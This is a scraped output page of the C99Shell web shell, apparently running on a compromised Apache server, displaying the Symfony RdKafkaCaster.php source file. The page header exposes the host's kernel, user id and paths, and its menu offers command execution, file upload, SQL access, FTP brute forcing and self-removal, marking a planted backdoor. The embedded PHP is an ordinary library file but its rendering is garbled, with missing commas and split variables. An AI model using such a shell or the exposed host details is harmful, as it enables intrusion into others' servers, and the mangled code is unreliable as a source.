!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/symfony/var-dumper/Caster/   drwxrwxr-x
Free 13.21 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RdKafkaCaster.php (4.54 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
RdKafka\Conf;
use 
RdKafka\Exception as RdKafkaException;
use 
RdKafka\KafkaConsumer;
use 
RdKafka\Message;
use 
RdKafka\Metadata\Broker as BrokerMetadata;
use 
RdKafka\Metadata\Collection as CollectionMetadata;
use 
RdKafka\Metadata\Partition as PartitionMetadata;
use 
RdKafka\Metadata\Topic as TopicMetadata;
use 
RdKafka\Topic;
use 
RdKafka\TopicConf;
use 
RdKafka\TopicPartition;
use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts RdKafka related classes to array representation.
 *
 * @author Romain Neutron <imprec@gmail.com>
 */
class RdKafkaCaster
{
    public static function 
castKafkaConsumer(KafkaConsumer $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        try {
            
$assignment $c->getAssignment();
        } catch (
RdKafkaException $e) {
            
$assignment = [];
        }

        
$a += [
            
$prefix.'subscription' => $c->getSubscription(),
            
$prefix.'assignment' => $assignment,
        ];

        
$a += self::extractMetadata($c);

        return 
$a;
    }

    public static function 
castTopic(Topic $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'name' => $c->getName(),
        ];

        return 
$a;
    }

    public static function 
castTopicPartition(TopicPartition $c, array $a)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'offset' => $c->getOffset(),
            
$prefix.'partition' => $c->getPartition(),
            
$prefix.'topic' => $c->getTopic(),
        ];

        return 
$a;
    }

    public static function 
castMessage(Message $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'errstr' => $c->errstr(),
        ];

        return 
$a;
    }

    public static function 
castConf(Conf $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        foreach (
$c->dump() as $key => $value) {
            
$a[$prefix.$key] = $value;
        }

        return 
$a;
    }

    public static function 
castTopicConf(TopicConf $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        foreach (
$c->dump() as $key => $value) {
            
$a[$prefix.$key] = $value;
        }

        return 
$a;
    }

    public static function 
castRdKafka(\RdKafka $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'out_q_len' => $c->getOutQLen(),
        ];

        
$a += self::extractMetadata($c);

        return 
$a;
    }

    public static function 
castCollectionMetadata(CollectionMetadata $c, array $aStub $stubbool $isNested)
    {
        
$a += iterator_to_array($c);

        return 
$a;
    }

    public static function 
castTopicMetadata(TopicMetadata $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'name' => $c->getTopic(),
            
$prefix.'partitions' => $c->getPartitions(),
        ];

        return 
$a;
    }

    public static function 
castPartitionMetadata(PartitionMetadata $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'id' => $c->getId(),
            
$prefix.'err' => $c->getErr(),
            
$prefix.'leader' => $c->getLeader(),
        ];

        return 
$a;
    }

    public static function 
castBrokerMetadata(BrokerMetadata $c, array $aStub $stubbool $isNested)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        
$a += [
            
$prefix.'id' => $c->getId(),
            
$prefix.'host' => $c->getHost(),
            
$prefix.'port' => $c->getPort(),
        ];

        return 
$a;
    }

    private static function 
extractMetadata(KafkaConsumer|\RdKafka $c)
    {
        
$prefix Caster::PREFIX_VIRTUAL;

        try {
            
$m $c->getMetadata(truenull500);
        } catch (
RdKafkaException $e) {
            return [];
        }

        return [
            
$prefix.'orig_broker_id' => $m->getOrigBrokerId(),
            
$prefix.'orig_broker_name' => $m->getOrigBrokerName(),
            
$prefix.'brokers' => $m->getBrokers(),
            
$prefix.'topics' => $m->getTopics(),
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--